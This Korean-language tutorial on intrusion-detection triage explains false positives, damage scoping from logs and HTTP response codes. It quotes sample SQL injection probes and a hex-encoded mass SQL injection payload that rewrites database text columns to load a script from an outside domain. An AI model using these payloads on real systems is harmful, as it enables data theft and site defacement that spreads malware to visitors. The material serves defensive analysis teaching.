공격을 판단하기 위해 침입탐지시스템 엔진은 패킷에 포함된 데이터를 분석하거나 행위 분석을 통해 공격 여부를 판단 한다. 하지만 탐지 오류(이하 오탐이라고 함)가 없다면 좋겠지만 실제 침입탐지시스템에서 탐지된 이벤트 중 오탐(false-positive) 가능성을 배제할 수 없다.
오탐에는 여러 종류가 있다. 정상 통신에 일부 패턴이 공격 시그니처와 동일할 수도 있고, 탐지된 시그니처가 실제로 취약점이 없는 경우도 있고, 공격이 테스트 목적으로 진행 될 수도 있다. 예를 들어 보자.
시스템 명령을 탐지 하기 위해 “cmd.exe” 문자열을 모니터 한다고 가정해 보자. 우리는 cmd.exe 라는 문자열 만을 의미 있게 생각하지만 탐지 엔진에서는 “abcmd.executeable” 문자열도 동일한 의미로 해석하게 된다. 이를 오탐으로 부른다.
| 오탐 사례 여러 개의 포트를 사용하는 통신의 경우 네트워크 포트 스캔 시도로 탐지될 수 있다.일부 내부 시스템의 경우 ERP 시스템의 경우 SQL Injection으로 탐지될 수 있다.일부 포트의 경우 백도어로 탐지될 수 있다. |
다음은 SQL Injection 공격으로 발생되는 공격 패턴이다.
| newpoker’ And 1=1 And ”=’ picture’ And 1=1 And ”=’ janggi’ And 1=1 And ”=’ 2 and(char(94)+user+char(94))>0 hoola’ and(char(94)+user+char(94))>0 and ”=’ 2 and(char(94)+user+char(94))>0 3/;create table t_jiaozhu(jiaozhu varchar(200)) 2 and(char(94)+user+char(94))>0 |
다음 예제를 살펴보자.
| select top 1 udf_v_uid_j201id from table_code where conf_en=’Y’ and pl_t in (‘3’윕‘3′) order by udf_uid desc select+*+from+abc+where+id=‘ABD’+and+userid=‘DIROR‘ Select Top 4 id,name from [test]..[sysobjects] Where xtype=char(85) order by name asc,id desc) T order by name desc,id asc SELECT * FROM facebook.graph WHERE id=‘mayson’ |
4가지 예제 로그가 SQL Injection과 관련된 공격으로 보일 수 있으나 실제 4개 로그 중 공격과 관련된 로그는 단 1개뿐이다. 3번째 로그가 공격 툴을 이용해 데이터베이스의 정보를 유출할 때 발생되는 로그다..
이처럼 공격과 공격이 아닌 상황에 대해 구분이 모호한 경우가 발생할 때는 시스템에 대한 이해와 해킹 유형에 대해 정확한 사전 지식이 있어야 침입시도와 침입시도가 아닌 행위에 대해 구분이 가능하다.
분석한 내역이 실제 공격으로 확인되면 해당 공격으로 인한 시스템의 피해를 점검한다. 공격 재현을 통해 시스템에 발생하는 현황을 확인하고 어떤 결과가 발생하는지 정의 한다.
- 로그 분석을 통한 피해 범위 확인
샘플 로그를 보자. 다음 로그는 SQL Injection 공격에 의해 피해를 받은 시스템의 로그다. 해당 로그를 통해 어떤 피해가 발생했는지 피해 범위를 정의하자.
| %20and%20exists%20(select%20[admin_psw]%20from%20[tbl_discussion_vote])%20and%20”=’|7|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Invalid_column_name_’admin_psw’. 500 |
샘플 로그에서 SQL Injection 공격에 요청된 쿼리문에 패스워드와 관련된 요청이 포함되어 있다.(admin_psw) 실제 패스워드 항목들이 유출되었는지 전후 로그에 대해 분석해서 피해 범위를 정의 한다.
정확한 피해 범위 확인을 위해 필요한 경우 공격 로그를 테스트 시스템에 수행 시켜 시스템에 미치는 영향을 정확히 분석한다.
| dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F73312E6361776A622E636F6D2F6B722E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000)); eXeC(@s); |
탐지된 로그를 정확히 확인하기 위해 실행 함수(exec(@s)를 출력 함수(print(@s)로 변경해서 공격에 사용된 SQL문을 분석하자.
SQL 구문을 확인해 보면 데이터베이스에서 어떤 행위가 일어났는지 확인이 가능해 진다. 그럼 시스템 피해범위를 확인할 수 있다.
침입시도가 공격은 맞지만 시스템에 영향을 줄 수 없는 경우도 있다. 대부분 시스템의 취약점과 관련이 없는 공격들이 이에 해당된다. 주로 무작위 스캔 시도, 단순 포트 스캔 시도들이 해당된다.
영향도를 평가하기 위해서는 애플리케이션이나 시스템의 동작 방식에 대해 이해할 필요가 있다.
가장 많은 공격이 발생하는 웹 서비스의 경우 웹 서비스의 응답 결과에 따라 시스템에 발생한 결과는 틀려진다.
응답코드점검
웹 취약점 공격 시도의 경우는 대부분 응답코드를 통해 취약한지 여부를 판단하게 된다. 예를 들어 SQL Injection 공격을 시도하였지만, 500에러코드가 발생하지 않는다면 시스템에 취약점이 없는 경우가 대부분이고, 공격자가 파일을 업로드 시도하여 해당 파일을 요청하였지만 404 응답코드가 발생했다면 실제로 파일이 업로드 되지 않았다는 것을 의미한다. 이처럼 HTTP 통신에서 사용되는 응답코드에 대해 알지 못하면 침입시도가 성공한지 판단을 할 수 없다
| Status-Code = “100” ; Section 10.1.1: Continue | “101” ; Section 10.1.2: Switching Protocols | “200” ; Section 10.2.1: OK | “201” ; Section 10.2.2: Created | “202” ; Section 10.2.3: Accepted | “203” ; Section 10.2.4: Non-Authoritative Information | “204” ; Section 10.2.5: No Content ………………….. | “307” ; Section 10.3.8: Temporary Redirect | “400” ; Section 10.4.1: Bad Request | “401” ; Section 10.4.2: Unauthorized | “402” ; Section 10.4.3: Payment Required | “403” ; Section 10.4.4: Forbidden | “404” ; Section 10.4.5: Not Found | “405” ; Section 10.4.6: Method Not Allowed | “406” ; Section 10.4.7: Not Acceptable |
영향받는 시스템 점검
단순히 공격 유형을 파악한 것으로 사고 분석이 끝나면 안되고, 피해 시스템이 취약해 내부 데이터가 유출이 되었는지, 데이터가 조작되었는지, 아니면 데이터베이스를 이용해 시스템 명령을 실행하고, 또 다른 공격을 행했는지 등 영향 범위에 대해 파악을 해야 가능한 후속조치를 취할 수 있다.
침해사고 분석 시 가장 먼저 해야 할 일은 서비스를 제공 중인 이상이 생겼는지 확인하는 것이다.
| 동작 점검 대상 | 점검 결과 체크 |
| 웹 서비스 동작 점검 애플리케이션 동작 점검 | 서비스 일부 중지 서비스 전체 중지 일부 네트워크 통신 단절 |
서비스에 대한 영향이 없다라고 판단된 후에 공격의 영향 범위를 정의 한다.
| 공격 영향 범위 정의 | 공격에 의한 결과 도출 |
| 비정상 사용자 계정 추가 시스템 명령 실행 | 악성 파일 다운로드 내부 파일 노출 |
영향 범위까지 파악이 되면 전체 후속 조치와 취약점을 제거하기 위한 방안을 세운다. 세부 대응방안은 공격 유형에 따라 다양하다. IT환경에 적합한 솔루션으로 대응 방안을 수립하자.
실제 대응과정에서 많은 변수와 환경적인 조건에 따라 상황이 조금씩 차이가 발생될 수 있지만 침입시도에 대해 대응하는 과정을 앞서 살펴본 과정을 거치게 된다. 침입시도에 대해 모니터를 통해 공격여부를 판단하고, 공격을 받은 시스템에 어떠한 피해가 발생했는지 확인하고, 조치 하기 방안을 세우는 과정까지가 일련의 과정이 보안사고를 분석하는 과정이다.